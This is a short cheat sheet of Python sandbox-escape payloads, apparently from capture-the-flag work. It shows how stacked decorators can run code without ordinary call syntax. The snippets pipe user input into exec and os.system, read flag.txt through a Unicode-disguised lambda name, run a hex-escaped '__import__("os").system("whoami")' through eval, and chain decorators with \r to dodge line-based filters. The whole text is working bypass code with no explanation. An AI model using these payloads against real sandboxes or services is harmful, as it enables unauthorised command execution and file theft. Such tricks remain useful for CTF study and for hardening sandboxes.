Decorators

@exec
@input
def a():pass
Can be class

for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:
    @print
    @list
    @open
    @path
    class z:
        pass

@__import__("os").system
@input
class _: pass

@eval
@'__import__\x28"os"\x29.system\x28"whoami"\x29'.format
class _:pass

# can be chained with \r
@print\\r@set\\r@open\\r@input\\rclass\\x0ca:pass